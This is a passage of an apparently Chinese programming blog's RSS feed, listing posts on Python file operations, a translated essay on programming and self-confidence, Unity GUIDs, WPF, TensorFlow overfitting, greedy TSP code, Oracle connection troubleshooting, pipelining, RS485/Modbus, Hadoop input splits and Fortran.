      <description> P4.批量创建、复制、移动、删除、重命名文件及文件夹.md&#xA;#创建文件夹 #创建文件夹 os.mkdir(新文件夹名) 例 os.mkdir(&#39;新文件夹&#39;) #注意当文件夹已存在时运行这句代码会报错 #检测该文件夹是否存在 os.path.exists(文件夹名称) 例 if not os.path.exists(&#39;新文件夹&#39;): os.mkdir(&#39;新文件夹&#39;) #创建多层文件夹 os.makedirs(&#39;第一层文件夹/第二层文件夹/第三次文件夹&#39;) #注意，当最里层文件夹已存在时运行这句代码报错 #复制、移动、重命名 #复制文件：shutil模块 shutil.copy(要复制的文件，要复制到的位置) 例 import shutil shutil.copy(&#39;file.txt&#39;,&#39;./新文件夹&#39;) shutil.copy(&#39;file.txt&#39;,&#39;./新文件夹/new_file.txt&#39;) #第二个参数写某个文件夹位置，则复制到该文件夹下 #第二个参数写某个文件路径，复制到这个路径并且重命名 #复制文件夹：shutil模块 shutil.copytree(要复制的文件夹，要复制到的行文件夹位置) 例 shutil.copytree(&#39;文件夹&#39;，&#39;新文件夹&#39;) #文件夹内所有文件和文件夹都会复制过去 #注意新文件夹不能已经存在 #移动文件或文件夹 shutil.move(要移动的文件/文件夹，要移动到的位置) 例 shutil.move(&#39;file.txt&#39;, &#39;新文件夹/file2.txt&#39;) shutil.move(&#39;file.txt&#39;, &#39;新文件夹/&#39;) shutil.move(&#39;文件夹&#39;, 新文件夹&#39;) #第二个参数写某个文件夹位置，则移动到该文件夹下 #第二个参数写某个文件路径，移动到这个文件路径并重命名 #如果是文件夹记住后面加斜杠/ #重命名文件或文件夹 os.rename(要重命名的文件/文件夹，新的名字) 例 os.rename(&#39;文件夹&#39;, &#39;重命名后的文件夹&#39;) os.rename(&#39;file.txt&#39;, &#39;new_file.txt&#39;) #删除文件 os.remove(要删除的文件) 例 os.remove(&#39;file.txt&#39;) #注意，只能删文件，如果给了一个文件夹路径则会报错 #删除文件夹 shutil.rmtree(要删除的文件夹) 例 shutil.rmtree(&#39;文件夹&#39;) </description>
    </item>
    <item>
      <title>我为什么要做程序员？</title>
      <link>https://bchobby.github.io/posts/69c44dea4bfb2520f8211d9276f2a297/</link>
      <pubDate>Wed, 13 May 2020 22:22:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69c44dea4bfb2520f8211d9276f2a297/</guid>
      <description> 是什么让我们选择了996的工作？作者认为是创造性，你以你的方式去解决为题，以你的方式推动着世界的发展。 以下为译文：&#xA;在成为专业的软件开发人员之前，我曾在一家公司的技术部门工作，当时我只是Javascript爱好者，渴望成为一名真正的开发人员。&#xA;当时，我是一名大学刚毕业的学生，对业务组成的各种原型还抱有天真的想法，而让我感到震惊的是，程序员的做事态度与其他同事的态度截然不同。大多数时候，在我眼中那家公司的文化充斥着阿谀奉承，各种角色的职能也一塌糊涂，工作氛围总是让人倍感紧迫与压力。&#xA;为了表现努力工作，你需要表现得惶惶不可终日。尽管嘴上不说，但内心深处大家都知道说‘我不知道’是无能的表现，会令高层人士不满。&#xA;但是，程序员似乎不同。如果有人气势汹汹地冲到一个程序员的办公桌前，报告了一个bug，然后怒吼道：“为什么会发生这样的事？！”应该对此负责的程序员只是有气无力地坐在那里，然后说，“你去写票吧，我们会做调查。”&#xA;哇，我当时想——“我们会做调查”，他们没有费尽心机讨好权威，没有慌慌张张地做解释，而我想成为他们那样的人。&#xA;对我来说印象最为深刻的是，虽然当时我可能不敢说那样的话，但是技术部门对负责的工作信心满满。&#xA;这些人很聪明，所以有信心也是自然的，但是原因不仅如此。当时我有一种感觉，软件开发人员的工作与现实紧密相连，而其他岗位则没有。当然这样说可能对那些在其他职位的人来说并不公平，不过这些开发人员工作的成败有明确的定义标准，而且他们完全有能力达到这些标准。&#xA;我不是指企业强加给人的那种不切实际的标准。我说的是：“我的单元测试通过了吗？”、“我的应用程序在加载的时候会崩溃吗？”、“我改好了每个人都担心的bug了吗？”这些标准完全是客观的、非政治性的。&#xA;相反的例子是，成功与否的标准定义模糊，通过贬低他人的成功来表现自己——这种情况下你需要把自己的信仰托付给有影响力的某个人，而无需对任何真实情况负责；强调做作和夸夸其谈，而不重视诚实和行动。而且在程序员的这边也没那么多扯淡的事儿。&#xA;尽管现在我已经意识到：&#xA;我上面描述的这些现象其实极其罕见，可能仅限于我曾经工作的那家公司；&#xA;这些信仰可能更多地表现了我对我当时的角色的不满，而不是任何“客观性”的真实情况；&#xA;如果其他专家能够定义出难以定义的“成功的标准”，那么这并不总意味着完全没有标准；&#xA;我也认识到，在软件开发领域，虽然理论上来讲不应该有任何扯淡的事儿，但实际中也并不是完全一尘不染的。&#xA;在我成功获得梦寐以求的转职之后（感谢一些人，直到今天我都心存感激），我发现了一些获得自信的技巧，而在以前我只有羡慕别人的份儿。&#xA;首先我意识到，如果程序员是公司里最冷静的人，那么这种生理激励就像是让你写好代码的氪石一样。充满压力会限制你的专注力，导致你无法思考抽象的事物。在任何紧急情况下，我都要学会在不提高我的心率的前提下提高思维水平——我需要学习不被他人的压力影响。&#xA;我学到的第二件事就是假设测试相对于试错而言的重要性。假设你需要用一个值对一个变量进行初始化，而且你知道这个值应当是几个可能值中的一个。你可以在头脑中模拟系统，直到你知道哪个才是正确的值（假设），或者试验每个值，直到程序正常运行（试错）。&#xA;后者可能更快、更“容易”，但很明显前者才对你的掌控能力有帮助，更不用说长远来看前者能增强你以后解决类似问题的能力了。针对正确答案建立假设并验证需要一点“灵感”，相反，无意义地试验集中选项并随机选择一个则无需任何思考——你应该避免那种被代码孤立的感觉，开发者的工作是告诉机器该怎么做，而不是像个机器一样做事。&#xA;相反，你的目标应该是发展你的思维模式，使得你认为写代码是一种表达的形式，就像奥威尔提倡的写散文时的观点一样。&#xA;不过这里的“灵感”和“孤立”这两个词我想多谈一点。&#xA;几年前我读过马斯洛的《Towards a Psychology of Being》一书，书中他提到了安全感和成长之间的根本的对立。他的理论认为，童年时期或以后任何重要时期的个性养成，都是基于“灵感”的积累。有时这可能是通过某种自发的行为，在不可能的情况下成功操纵了世界的某一小部分造成的结果。因此，成长是事业扩展的一部分，能够逐渐培养对成功的感觉。&#xA;但这个概念也与价值和天赋有关。例如，马斯洛的书中，可能“亲吻某个人能带来比亲吻其他人更多的灵感”，他继续描述这种“通过灵感获得成长”的结果：&#xA;这样，我们能学到我们擅长的东西，喜爱或不喜爱的东西，我们的口味、判别能力和接受程度。一言以蔽之，这就是我们发现自我并解答那个终极问题的方法：“我是谁？我是什么？”&#xA;关于孤立，马斯洛是这样说的：&#xA;当孩子能够意识到时，与主观灵感（信任自己）相反的，是他人的意见（爱，尊重，认可，仰慕，来自他人的奖励，相信他人而不相信自己）。对于无助的婴儿和孩童而言，他人极其重要，因此失去他人（即失去他人提供的安全感、食物、爱和尊重等）是极其可怕的危险。 因此，当孩必须在自我灵感和他人的认可中二选一时，他们必然会选择他人的认可，然后压抑自己的灵感，或者干脆消灭之，或无视，或者下意识地约束。一般来说，这会造成对自我灵感的否定，或者对其产生害羞或神秘感，最终造成无法表达这种灵感。&#xA;我认为这正是他人尊重（特别是来自权威的尊重）和个人信仰之间的对立，让我被技术圈的那些冷静自信的人所打动。自我的发展，包括自信，可以认为是一系列“自我灵感”的结合，每个灵感都在前一个的基础上发展，就像土壤不断增长成小山丘一样。而且这种发展出现在对世界的直接认知过程中，而不会被他人的认知和价值观所影响。&#xA;也许正是我的认知失败，使我选择了编程的路。我的能力不足以让我用自己的眼睛和耳朵去认识世界；我也“无法去表达”自我灵感。这让我想起了希伯来圣经中的一段：&#xA;异教徒的崇拜是金子和银子，以及人们双手的工作。&#xA;他们有嘴，但他们不说；有眼睛，但不看。&#xA;编程给我带来了一个方便、决定性的微观世界，在这个世界中我可以得到控制感、精通和对世界的直接认知，而这正是我的一生中失去的东西。新发现的“信任自己的判断”的能力，将我的世界的中心从他人的判断上（一种高度的“自我监视”状态）移动到自己身上。&#xA;我发现，在我实施“假设测试”方法之后，某些人认为的冰冷、抽象的原则，对于我来说却十分有意义。如果程序与之前做过的假设相关，那么理解程序（或者任何事物）的行为会更容易记忆，而且特点更明显，产生更多的“灵感”。这样，尽管操纵屏幕上的光标的艺术对于婴儿来说并没有“灵感”科研，但对于成人来说则是个人成长和自信的快车。这就是我的情况。&#xA;用自己的眼睛和大脑去决定何为“好的软件程序”，能够导致更少地依赖别人。自己对真实判断负责，能够让你对好的东西负责。我认为“生活方式设计”行动就是个很好的思维成长的例子。它能鼓励你忽视惯例，批判性地评估你的生活方式，并根据你对自己和你的偏好了解的内容进行调整，让这些学习影响你现在和将来的选择。&#xA;关于这个话题我还要说最后一件事。马斯洛理论的中心，也是他看到的主要增长障碍，就是对抛弃的恐惧。为了冒险进入操场，孩子需要确保母亲正在等待并且自己能随时返回。再次引用马斯洛的话：&#xA;如果维持自我的唯一方式就是失去他人，那么一般的孩子会选择放弃自我。 这段话表明，艾默生在编写《Self-Reliance》一书时头脑中想到的最终技巧，并不是让我们所有人都成为程序员。 这当然不是我想在这篇文章中传达的信息，尽管乔布斯这样推荐过。自信可以通过各种方式实现，而编程恰好是我的方式。更重要的是提醒自己这样一件事：&#xA;你永远是人类家族的一员，长期有效且不可撤销。&#xA;正是这种信念促使你无所畏惧地生活。它为你带来了探索未知的能力，并赋予你天生的自发性和自然而然的成长，同时保证你不会成为局外人，不会被驱逐。&#xA;有了这种信念，一个人才能安全地追随“头脑中的那道闪光”，才能在一群人之中维持“孤独的独立”。我还认为这种信念与人们所说的“自我接受”强烈相关，它可以帮助你摆脱最深刻和最原始的恐惧。&#xA;试试吧，结果会很有启发的。&#xA;原文：https://medium.com/the-polymath-project/programming-for-personal-growth-64052e407894&#x9;作者：Matt Oxley，程序员，专注于设计、音乐科技。 译者：弯月，责编：郭芮 </description>
    </item>
    <item>
      <title>Unity3d GUID和本地ID(Local Indentifier)</title>
      <link>https://bchobby.github.io/posts/32a634ad005061e334ac6caab5068c71/</link>
      <pubDate>Wed, 13 May 2020 18:56:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/32a634ad005061e334ac6caab5068c71/</guid>
      <description>GUID和本地ID都是Unity用于资源管理的ID，GUID是工程里面所有文件、文件夹的唯一标识，通过GUID可以唯一确定一个文件或文件夹。本地ID是一个对象内（比如Scene），标识不同资源实例用的ID。&#xA;举个例子，现在有一个预制体A，那么我们可以查看它的.meta文件看到它的GUID：&#xA;在场景里面生成两个这个预制体的实例，那么大家应该都知道了，这两个实例肯定表示不同的对象，但是它们都通过GUID指向一个原型预制体A，通过文本方式打开Scene，ctrl+f查找预制体A的GUID：&#xA;红框表示处就是实例的本地ID，现在就应该差不多懂了，GUID和本地ID就像是类名和实例名。&#xA;那么有什么用呢？ 可以看到场景文件其实就是一些文本数据，我们既然能找到GUID信息，那么同样的可以通过代码替换修改里面的GUID，这也就是说我们可以通过代码批量替换更新场景里面的资源信息，具体操作见我以前的文章。</description>
    </item>
    <item>
      <title>解决WPF中关闭子窗体时，其父窗体自动最小化的问题？</title>
      <link>https://bchobby.github.io/posts/f798eb656ab18387179da9b5a1ca2820/</link>
      <pubDate>Wed, 13 May 2020 13:24:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f798eb656ab18387179da9b5a1ca2820/</guid>
      <description>WinShowTest wintest = new WinShowTest ()；&#xA;wintest .Show();&#xA;这样的代码，在关闭wintest 时，会把其父窗体自动最小化。&#xA;解决办法：在关闭子窗体时，激活其父窗体，如下代码：&#xA;WinShowTest wintest = new WinShowTest ()；&#xA;wintest .Closed += (a, b) =&amp;gt; { this.Activate(); };&#xA;wintest .Show();</description>
    </item>
    <item>
      <title>STS设置字体大小颜色，背景色，编码</title>
      <link>https://bchobby.github.io/posts/02ce3f0f0e0f1b40d26cdea3e7e7bbed/</link>
      <pubDate>Wed, 13 May 2020 09:36:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02ce3f0f0e0f1b40d26cdea3e7e7bbed/</guid>
      <description> STS设置字体大小，背景色，编码 设置字体大小 第一步：&#xA;菜单选项：window ====&amp;gt; preference&#xA;第二步：General ===&amp;gt; Appearance =&amp;gt; Colors and Fonts =&amp;gt; Basic&#xA;第三步：Basic =&amp;gt; Text Font&#xA;背景色 workspace编码设置为UTF-8 JSP文件编码设置 </description>
    </item>
    <item>
      <title>TensorFlow2.x 学习笔记(八)过拟合</title>
      <link>https://bchobby.github.io/posts/9657e2dc98a5a9c5cf9bba12b19873fe/</link>
      <pubDate>Wed, 13 May 2020 04:36:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9657e2dc98a5a9c5cf9bba12b19873fe/</guid>
      <description>过拟合与欠拟合 Model capacity 当模型的复杂度增强时，模型的表达性也随之增强，以多项式为例&#xA;y = β 0 + β 1 x + β 2 x 2 + . . . + β n x n + ϵ y = \beta_0 + \beta_1x + \beta_2x^2 + ... + \beta_nx^n + \epsilon y=β0​+β1​x+β2​x2+...+βn​xn+ϵ&#xA;随着阶数的增加，可表示的模型也就越多，模型的表示能力也就越强。&#xA;Underfitting model capacity &amp;lt; ground truthtrain loss/acc is badtest loss/acc is bad as well Overfitting model capacity &amp;lt; ground truthtrain loss/acc is goodtest loss/acc is badgeneralization performance is bad detect and reduce Splitting Train/Val/Test Set (x, y), (x_test, y_test) = datasets.</description>
    </item>
    <item>
      <title>北大陆俊林计算机组成原理第五章知识点</title>
      <link>https://bchobby.github.io/posts/24f4bd73cf94dfefb01882f89e101c69/</link>
      <pubDate>Tue, 12 May 2020 22:56:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/24f4bd73cf94dfefb01882f89e101c69/</guid>
      <description>5.1&#xA;略&#xA;5.2&#xA;第一版4位乘法器&#xA;使用了八位被乘数寄存器 四位乘数乘数寄存器 八位积寄存器 八位ALU&#xA;工作过程：&#xA;首先检查乘数寄存器的最后一位，如果为1则积寄存器和被乘数寄存器相加存入积积寄存器，如果为0则跳过，将被乘数寄存器左移，乘数寄存器右移，最后判断是不是到了第4次循环，到4次循环则完成退出&#xA;5.3 5.4&#xA;优化1：&#xA;同时进行移位和内容相加操作&#xA;优化2:&#xA;被乘数寄存器缩减为4位且取消移位操作&#xA;8位ALU改为4位&#xA;取消乘数寄存器&#xA;初始将乘积寄存器高4位，低4位存乘数寄存器，随着运算过程不断右移&#xA;5.5 5.6&#xA;第一版4位除法器&#xA;一个八位除数寄存器 一个四位商寄存器 一个八位余数寄存器 一个八位ALU&#xA;工作过程：&#xA;首先将被除数放入余数寄存器 将除数放入除数寄存器高四位，用ALU执行余数-除数运算，若小于0则回退该操作商左移添0，否则商左移添1，除数右移1位，判断是否是第N+1次循环，是则结束&#xA;5.7&#xA;优化：&#xA;缩小除数寄存器，取消右移操作&#xA;缩小ALU&#xA;取消商寄存器&#xA;余数寄存器的低32位改为存储商，增加左移功能，增加右移功能为进行回退操作&#xA;----个人自用整理分享 仍在学习之中 有错误与不足欢迎指正交流----</description>
    </item>
    <item>
      <title>贪心法——TSP问题</title>
      <link>https://bchobby.github.io/posts/3f89fabb5c0bc387c3584056e6f4f6a3/</link>
      <pubDate>Tue, 12 May 2020 22:33:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f89fabb5c0bc387c3584056e6f4f6a3/</guid>
      <description>最邻近点策略 /* * problem: TSP（最邻近点策略） * method: 贪心法 * date: 2020/05/12 */ #include&amp;lt;iostream&amp;gt; using namespace std; const int INF=10e5; const int MAX_N=20; int arc[MAX_N][MAX_N]= {{INF,3,3,2,6}, {3,INF,7,3,2}, {3,7,INF,2,5}, {2,3,2,INF,3}, {6,2,5,3,INF} }; int flag[MAX_N]; int n=5; int TSP(int x) { int tsp=0,i,j,k,u,v; u=x;//从x出发 flag[u]=1; for(i=0; i&amp;lt;n-1; i++) { int min=INF; for(j=0; j&amp;lt;n; j++) { if(flag[j]==0&amp;amp;&amp;amp;arc[u][j]&amp;lt;min) { min=arc[u][j]; v=j; } } tsp+=min; flag[v]=1; cout&amp;lt;&amp;lt;u+1&amp;lt;&amp;lt;&#34;--&amp;gt;&#34;&amp;lt;&amp;lt;v+1&amp;lt;&amp;lt;endl; u=v; } tsp+=arc[v][x]; cout&amp;lt;&amp;lt;v+1&amp;lt;&amp;lt;&#34;--&amp;gt;&#34;&amp;lt;&amp;lt;x+1&amp;lt;&amp;lt;endl; return tsp; } int main() { cout&amp;lt;&amp;lt;&#34;</description>
    </item>
    <item>
      <title>C&#43;&#43; 变量‘XXX’不是类型名</title>
      <link>https://bchobby.github.io/posts/198609abf57f146f839f37ab468d4e65/</link>
      <pubDate>Tue, 12 May 2020 20:47:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/198609abf57f146f839f37ab468d4e65/</guid>
      <description>C++有时会报 变量‘XXX’不是类型名 的bug，如下：&#xA;主要原因是：&#xA;c语言中不允许在函数外部给全局变量赋值&#xA;把变量赋值写到函数里就解决了~</description>
    </item>
    <item>
      <title>oracle连接失败的原因总结</title>
      <link>https://bchobby.github.io/posts/ca66aabf1909fab3d9e90690e70e2bc0/</link>
      <pubDate>Tue, 12 May 2020 17:59:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca66aabf1909fab3d9e90690e70e2bc0/</guid>
      <description>1、配置错误&#xA;尤其需要注意URL地址是否正确。再次注意用户名及密码。&#xA;详细配置 jdbc.driver:oracle.jdbc.driver.OracleDriver jdbc.url:jdbc:oracle:thin:@url地址:端口号（1521常用）:orcl 例：jdbc.url:jdbc:oracle:thin:@192.168.9.165:1521:orcl jdbc.username:用户名 jdbc.password:密码 2、如果是远程服务器，查看是否防火墙关闭&#xA;远程服务器的话，可能因为防火墙拦截，导致oracle数据库连接不上。&#xA;不关闭防火墙的话，也可设置服务器的入站或者出站规则，放行。&#xA;3、查看服务器Oracle监听是否开启&#xA;在服务中查看Oracle监听服务是否开启。&#xA;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&#xA;如有不准确或需要补充的，可以评论区留言。谢谢！</description>
    </item>
    <item>
      <title>代码执行流水之循环展开优化</title>
      <link>https://bchobby.github.io/posts/4998d58a175bdad474fd876e089dbe2c/</link>
      <pubDate>Tue, 12 May 2020 17:57:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4998d58a175bdad474fd876e089dbe2c/</guid>
      <description>目录&#xA;引言&#xA;流水线定义&#xA;指令执行流水&#xA;指令流水图&#xA;循环展开优化&#xA;引言 详细的流水线分析大家可以参考：计算机体系结构——流水线技术（Pipelining）。本篇只是由探讨循环展开如何提高代码执行效率延申过来的，因此只说明基本的流水线定义以及关于循环展开的部分。&#xA;流水线定义 计算机中的流水线是把一个重复的过程分解为若干个子过程，每个子过程与其他子过程并行进行。由于这种工作方式与工厂中的生产流水线十分相似， 因此称为流水线技术，从本质上讲，流水线技术是一种时间并行技术。&#xA;流水线工作设计 基本思想：延伸重叠方式，使指令解释过程进一步细化，提高各部件的利用率，以提高指令执行速度理想目标：完成任务的时间与其中某个指令执行时间无关，只与指令执行的频率有关（假设一个任务有n个指令，将完成一个指令分为m个段，每段执行时间为△t ，则理想目标是完成任务的时间是T=m△t+(n-1)△t；当n &amp;gt;&amp;gt; m时，T=(n-1)△t。 指令执行频率为 1 / △t： 即 与m无关，只和指令执行的速度△t有关） 指令执行流水 取指：&#xA;指令取指（InstrucTIon Fetch）是指将指令从存储器中读取出来的过程。&#xA;译码：&#xA;指令译码（InstrucTIon Decode）是指将存储器中取出的指令进行翻译的过程。经过译码之后得到指令需要的操作数寄存器索引，可以使用此索引从通用寄存器组（Register File，Regfile）中将操作数读出。&#xA;执行：&#xA;指令译码之后所需要进行的计算类型都已得知，并且已经从通用寄存器组中读取出了所需的操作数，那么接下来便进行指令执行（InstrucTIon Execute）。指令执行是指对指令进行真正运算的过程。譬如，如果指令是一条加法运算指令，则对操作数进行加法操作；如果是减法运算指令，则进行减法操作。&#xA;在“执行”阶段的最常见部件为算术逻辑部件运算器（ArithmeTIc Logical Unit，ALU），作为实施具体运算的硬件功能单元。&#xA;访存：&#xA;存储器访问指令往往是指令集中最重要的指令类型之一，访存（Memory Access）是指存储器访问指令将数据从存储器中读出，或者写入存储器的过程。&#xA;写回：&#xA;写回（Write-Back）是指将指令执行的结果写回通用寄存器组的过程。如果是普通运算指令，该结果值来自于“执行”阶段计算的结果；如果是存储器读指令，该结果来自于“访存”阶段从存储器中读取出来的数据。&#xA;指令流水图 横坐标：表示时间，即各个任务或指令在流水线中 所在该时刻所对应的子过程&#xA;纵坐标：表示某个任务或某条指令，即流水线依次 处理的任务或指令&#xA;循环展开优化 在流水线中，往往因为指令顺序安排不合理而导致CPU等待空转，产生延迟，影响流水线效率。&#xA;解决办法：循环展开和指令调度&#xA;前提假设：假设采用MIPS的5段整数流水线：&#xA; 分支的延迟：1个时钟周期。&#xA; 整数load指令的延迟：1个时钟周期。&#xA; 整数运算部件是全流水或者重复设置了足够的份数。&#xA;从例题入手理解：&#xA;例: 对于下面的源代码，转换成MIPS汇编语言， 在不进行指令调度和进行指令调度两种情况下，分析其代码一次循环所需的执行时间。&#xA;for (i=1024； i&amp;gt;=0； i--) x[i] = x[i] + s; Loop：L.</description>
    </item>
    <item>
      <title>RS485通信与Modbus协议 附源码下载</title>
      <link>https://bchobby.github.io/posts/aa24c0ee52fcef35f54661961bf5f001/</link>
      <pubDate>Tue, 12 May 2020 14:42:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa24c0ee52fcef35f54661961bf5f001/</guid>
      <description>RS485通信与Modbus协议 附源码下载 RS485通信的特点 1、采用差分信号。&#xA;2、RS485通信速率快，最大传输速率可以达到10Mb/s以上。&#xA;3、RS485内部采用平衡驱动器和差分接收器的组合，抗干扰能力大大增加。&#xA;4、传输距离最远可以达到1200米左右。&#xA;5、可以在总线上进行联网多机通信。&#xA;6、RS485接口非常简单。&#xA;常用硬件接口 为MAX485,电路见下图&#xA;RS-485采用平衡发送和差分接收，因此具有抑制共模干扰的能力。RS-485采用半双工工作方式，任何时候只能有一点处于发送状态，因此，发送电路须由使能信号加以控制。RS-485用于多点互连时非常方便，可以省掉许多信号线。应用RS-485可以联网构成分布式系统，其允许最多并联32台驱动器和32台接收器。在RS232或RS485设备联成的设备网中，如果设备数量超过2台，就必须使用RS485做通讯介质，RS485网的设备间要想互通信息只有通过“主（Master）”设备中转才能实现，这个主设备通常是PC，而这种设备网中只允许存在一个主设备，其余全部是从（Slave）设备。&#xA;RS485现在多采用的是两线制接线方式，这种接线方式为总线式拓朴结构在同一总线上最多可以挂接32个结点。在RS485通信网络中一般采用的是主从通信方式，即一个主机带多个从机。很多情况下，连接RS-485通信链路时只是简单地用一对双绞线将各个接口的“A”、“B”端连接起来。而忽略了信号地的连接，这种连接方法在许多场合是能正常工作的，但却埋下了很大的隐患，这有二个原因：&#xA;(1)共模干扰问题：RS-485接口采用差分方式传输信号方式，并不需要相对于某个参照点来检测信号，系统只需检测两线之间的电位差就可以了。但人们往往忽视了收发器有一定的共模电压范围，RS-485收发器共模电压范围为-7～+12V，只有满足上述条件，整个网络才能正常工作。当网络线路中共模电压超出此范围时就会影响通信的稳定可靠，甚至损坏接口。&#xA;(2)EMI问题：发送驱动器输出信号中的共模部分需要一个返回通路，如没有一个低阻的返回通道（信号地），就会以辐射的形式返回源端，整个总线就会像一个巨大的天线向外辐射电磁波。由于PC机默认的只带有RS232接口，有两种方法可以得到PC上位机的RS485电路：（1）通过RS232/RS485转换电路将PC机串口RS232信号转换成RS485信号，对于情况比较复杂的工业环境最好是选用防浪涌带隔离珊的产品。（2）通过PCI多串口卡，可以直接选用输出信号为RS485类型的扩展卡。&#xA;Modbus通信协议介绍 1、Modbus产生的背景。&#xA;2、Modbus协议特点。&#xA;3、RTU协议帧数据&#xA;4、Modbus功能码&#xA;读保持寄存器数据结构&#xA;文件 列表:.&#xA;│ MAX485.pdf&#xA;│ MODBUS协议中文版.pdf&#xA;│ Modbus注意要项.pdf&#xA;│ Modbus通信协议.pdf&#xA;│ ├─Modbus调试精灵&#xA;│ └─例程源代码&#xA;├─1&#xA;│ │ 51单片机串口驱动实现功能示例&#xA;│ │ ├─2&#xA;│ RS485的Modbus通讯收发功能示例&#xA;│ │ ├─3(CRC低字节在前)&#xA;│ 基于RS485的Modbus通信示例 │ 支持Modbus协议的寄存器读取和单寄存器写入操作&#xA;│ └─4&#xA;│ 描 述：Modbus协议实现校时 │ 利用Modbus调试精灵的写寄存器功能，可修改日期时间的每一个字节 │ 寄存器地址0x0000～0x0006分别对应“年/月/日/时/分/秒/星期” │ RS485方向控制信号由原来的P1.7改为P2.0，因本例使用了DS1302而未使用按键</description>
    </item>
    <item>
      <title>十九、CombineTextInputFormat切片机制源码分析</title>
      <link>https://bchobby.github.io/posts/f1a5579445245e817adca3fbf3852bc6/</link>
      <pubDate>Tue, 12 May 2020 09:16:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1a5579445245e817adca3fbf3852bc6/</guid>
      <description>一、CombineTextInputFormat切片机制 1、思考？ 框架默认的TextInputFormat切片机制是对任务按文件规划切片，不管文件多小，都会是一个单独的切片，都会交给一个MapTask，这样如果有大量小文件，就会产生大量的MapTask，处理效率极其低下。&#xA;2、CombineTextInputFormat应用场景 CombineTextInputFormat用于小文件过多的场景，它可以将多个小文件从逻辑上规划到一个切片中，这样，多个小文件就可以交给一个MapTask处理&#xA;3、虚拟存储切片最大值设置 它决定了切块与切片：&#xA;CombineTextInputFormat.setMaxInputSplitSize(job, 4194304);// 4m&#xA;注意：虚拟存储切片最大值设置最好根据实际的小文件大小情况来设置具体的值。&#xA;4、切片机制过程 生成切片过程包括：虚拟存储过程和切片过程二部分。&#xA;（1）虚拟存储过程：将输入目录下所有文件大小，依次和设置的setMaxInputSplitSize值比较，如果不大于设置的最大值，逻辑上划分一个块。如果输入文件大于设置的最大值且大于两倍，那么以最大值切割一块；当剩余数据大小超过设置的最大值且不大于最大值2倍，此时将文件均分成2个虚拟存储块（防止出现太小切片）。&#xA;例如setMaxInputSplitSize值为4M，输入文件大小为8.02M，则先逻辑上分成一个4M。剩余的大小为4.02M，如果按照4M逻辑划分，就会出现0.02M的小的虚拟存储文件，所以将剩余的4.02M文件切分成（2.01M和2.01M）两个文件。&#xA;（2）切片过程：&#xA;a）判断虚拟存储的文件大小是否大于setMaxInputSplitSize值，大于等于则单独形成一个切片。 （b）如果不大于则跟下一个虚拟存储文件进行合并，共同形成一个切片。 （c）测试举例：有4个小文件大小分别为1.7M、5.1M、3.4M以及6.8M这四个小文件，则虚拟存储之后形成6个文件块，大小分别为： 1.7M，（2.55M、2.55M），3.4M以及（3.4M、3.4M） 最终会形成3个切片，大小分别为： （1.7+2.55）M，（2.55+3.4）M，（3.4+3.4）M 二、代码实操 1、只是在简单mr中设置如下两个步骤，就不在这里放出代码了，给出代码地址。主要是演示文件 （a）驱动类中添加代码如下： // 如果不设置InputFormat，它默认用的是TextInputFormat.class job.setInputFormatClass(CombineTextInputFormat.class); //虚拟存储切片最大值设置4m CombineTextInputFormat.setMaxInputSplitSize(job, 4194304); 三、源码阅读注释 1、CombineTextInputFormat重写了切片函数，在切片之前先进行了切块操作 //必须设置如下参数 //job.setInputFormatClass(CombineTextInputFormat.class); //CombineTextInputFormat.setMaxInputSplitSize(job, 4194304); 2、进入CombineTextInputFormat 类中发现没有太多代码，需要进去父类CombineFileInputFormat中，这里重写了切片机制 //1.进入切片函数，省略非部分非主要代码 public List&amp;lt;InputSplit&amp;gt; getSplits(JobContext job) throws IOException { long maxSize = 0L; Configuration conf = job.getConfiguration(); if (this.maxSplitSize != 0L) { maxSize = this.maxSplitSize; } else { //2.获取分块界限值 maxSize = conf.</description>
    </item>
    <item>
      <title>Fortran编程：（一）认识Fortran</title>
      <link>https://bchobby.github.io/posts/8d2a7d6b36b3bf8e314074c8029d52bf/</link>
      <pubDate>Tue, 12 May 2020 08:23:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d2a7d6b36b3bf8e314074c8029d52bf/</guid>
      <description>一、什么是Fortran&#xA;Fortran语言是Formula Translation的缩写，意为“公式翻译”，是一种编译型语言。&#xA;Fortran语言是世界上第一个被正式推广使用的高级语言。它是1954年被提出来的，1956年开始正式使用，直到2014年已有六十年的历史，但仍历久不衰，它始终是数值计算领域所使用的主要语言。&#xA;经过长期的发展，Fortran出现许多的版本，F77，F90，F95，F2003等，每一个版本都经过了完善和改进。&#xA;二、特点&#xA;优点 •简单，相比C++而言更易于掌握 •接近自然的数学语言 •矩阵运算功能强大，自有复数运算 •语法严格，适合严谨的科学计算 •编译型语言，执行效率高 •并行计算的最佳选择 缺点 •可视化开发效率低，效果不理想 •比较底层，各种算法功能都需要自己实现 相比于C/C++、Python、Java和PHP等主流编程语言，Fortran有着其稳定的受众，即科学计算领域。&#xA;三、适用领域&#xA;一般而言，由于Fortran的设计初衷是为解决科学数值计算问题，有着强大的矩阵运算能力和复数运算，因此其适用领域也注定了。&#xA;主要的领域有：物理（核物理、凝态物理等）、气象、流体、地震（地震勘探、地球物理等）……这些领域有个共同特点就是需要进行大规模的数值计算。&#xA;四、尾言&#xA;Fortran作为一种古老的编程语言，有着其独特的魅力和作用，现在网上有很多人说Fortran是一门过时的语言，应该被时代淘汰，笔者认为Fortran语言被淘汰还为时过早，它仍然在其独特的领域发挥着其作用，散发着它的光芒。</description>
    </item>
    <item>
      <title>javascript学习笔记（3）</title>
      <link>https://bchobby.github.io/posts/ba1d9a565951382c6e58c2c9d9f59fc3/</link>
      <pubDate>Mon, 11 May 2020 20:08:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba1d9a565951382c6e58c2c9d9f59fc3/</guid>
